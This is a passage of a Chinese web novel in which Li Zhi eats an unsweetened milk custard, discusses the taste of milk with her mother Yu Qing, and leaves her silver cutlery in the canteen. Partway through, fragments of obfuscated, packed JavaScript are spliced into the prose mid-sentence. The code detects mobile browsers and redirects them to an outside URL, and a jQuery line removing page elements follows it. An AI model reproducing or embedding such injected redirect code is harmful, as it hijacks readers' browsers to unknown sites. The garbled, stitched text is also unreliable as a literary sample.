如余庆所说的那样,“奶冻”吃起来的感觉,和做法相近的鸡蛋羹口感倒也非常相似。 但“奶冻”却具备一种更加柔软、嫩滑、细腻的口感,相比之下,鸡蛋羹的质感就过于硬而无弹性了。 即使不用汤匙,只是端碗晃一晃的话,“奶冻”也会颤颤巍巍的。 “奶冻”不仅是滑嫩细腻而已,相比鸡蛋羹,它更有弹性、还带有稠厚黏滑的感觉。 仔细观察的话,会发现“奶冻”内部,是没有任何泡沫感的。 这应该是由于,蒸制的过程中火候掌握得非常好、鸡蛋完全没有起泡的缘故。 但是,在品尝的过程中,黎芝却也发现了不知道该不该算作“美中不足”的地方。 “这个不太甜啊……”微妙的违和感,让黎芝不由得说道,“既然是用了大量牛奶制作的‘点心’,为什么不多加点糖呢?那样的话,味道应该会更自然柔和一些吧。这种看起来就是甜品的东西,甜味却那么淡薄,感觉真是奇怪呢……” “那是因为,这个里面,本来就一点儿糖也没加啊?”余庆疑惑地说道,“我们家的人吃东西都不怎么加糖,喜欢原味。怎么,你很喜欢甜食吗?如果你喜欢的话,我以后就给你单独做一份加糖的点心好了。” “啊?”余庆的回答,让黎芝惊讶了起来,她问道,“这里面没有加糖?” “嗯,当然没加糖。”余庆说道,“所以,你才会觉得它味淡,不是吗?” “那我吃起来怎么还是有甜味呢?”黎芝感到百思不得其解。 “牛奶就是这个味道的。”余庆摇摇头,说道,“至少我们这里的牛奶是这个味道的。你觉得这种味道是甜的吗?” 黎芝有些茫然,她又挖起一匙,仔细品尝了起来。 “嗯……”黎芝说道,“应该是介于‘甜’与‘不甜’之间的味道吧。原来牛奶应该是这个味道的啊……” “差不多吧。”余庆说道,“牛奶也差不多就是你尝到的‘奶冻’的那种甜味了。” “我明白了……”黎芝感叹地说道,“如果牛奶的味道就是这样的话,那么,‘清淡无糖的原味’也挺好的。我会努力喜欢上这种口味的。” 不加糖的鸡蛋羹也没有什么甜味,但自己却不会觉得不好吃,那“奶冻”又为何需要加糖呢?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923707|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 况且,“奶冻”有这种微甜的柔和味道,加糖反而会掩盖住它自然的奶香吧?所以,还是吃原味的就好了。 黎芝想到这里,也就释然地继续吃了起来。 滑嫩有弹性的“奶冻”,口感确实非常柔软,易于下咽。 黎芝明明感觉自己还没吃几口呢,这一小碗“奶冻”就不见了。 虽然当然比“猪八戒吃人参果”的过程要实在得多,但黎芝还是觉得意犹未尽。 黎芝放下了原本装着“奶冻”的白瓷小碗,那里现在已经空空如也。 黎芝的心情,也多少有种“怅然若失”的感觉。 “好吃吗?”似乎是注意到了黎芝的遗憾,余庆体贴地问道,“要是你由于觉得好吃而没有吃够的话,我可以给你再做一两份哦。反正,我们这里的燃料只是‘沼气’而已。我不心疼柴火,顶多觉得麻烦罢了。如何,还要再吃吗?” “好吃……”黎芝摇摇头,说道,“但是,不用给我再做一份了。已经够了,再多吃的话,反而会让那种‘意犹未尽’的感觉消退,还不如现在停下来为好。谢谢妈妈啦。” “不用谢。”听到黎芝不想再吃,余庆倒是露出了有些遗憾的表情,然后说道,“那么,你的餐具是要留在这个厨房里由我保存,还是你自己收起来?” 余庆所说的,是黎芝自己带来的银制餐具。 这似乎被余庆认为是黎芝的“私人财产”。 虽然吃饭的时候是一起吃的、而且也帮黎芝清洗过了,但晚餐过后,余庆不但不打算收起,而且希望黎芝自己妥善保存。 可能,这就是余庆的作风吧?在黎芝看来,母亲倒是意外地有“边界感”。 是因为一家人还不够熟悉的缘故吗?也许只是母亲的一贯作风罢了。 总而言之,这种“边界感”让黎芝感到舒适。 虽然,“边界感”会带来些许“生疏感”;但在不欠缺“生疏感”的人身上,“边界感”越是清晰,就越是令人感到舒适。 “就留在这里吧。”黎芝想了想,笑着说道,“反正我就算随身带在身边,也一样并不保险。无所谓放哪里啦。既然是一家人,要丢就一起丢吧!” “嗯,你的餐具款式,和我们的不太一样。连做记号都不需要了,很容易就能分清你和我们的餐具的所有者呢。”听到黎芝的话,余庆微笑着说道。 于是,黎芝的餐具也留在了这个“食堂”的厨房里。 虽然并不重要,但这是晚餐过后,大家决定的第一件事。 在“食堂”这里清洗过餐具之后,餐具会被锁进一个大型的铁柜子里。 总的来说,还算比较保险。 至少,黎芝觉得,这么做比自己随身携带这些要安全多了。 “我送你回去睡觉吧?”余庆说道。 黎芝知道余庆说要送自己回去的地方。 “回去”的地方,指的就是那个“草房子”了。 但是,这让她感到有些不解。